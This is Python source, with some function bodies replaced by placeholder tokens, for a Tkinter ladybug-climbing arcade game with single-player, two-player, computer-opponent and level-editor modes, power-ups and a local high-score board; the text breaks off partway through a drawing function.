if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, 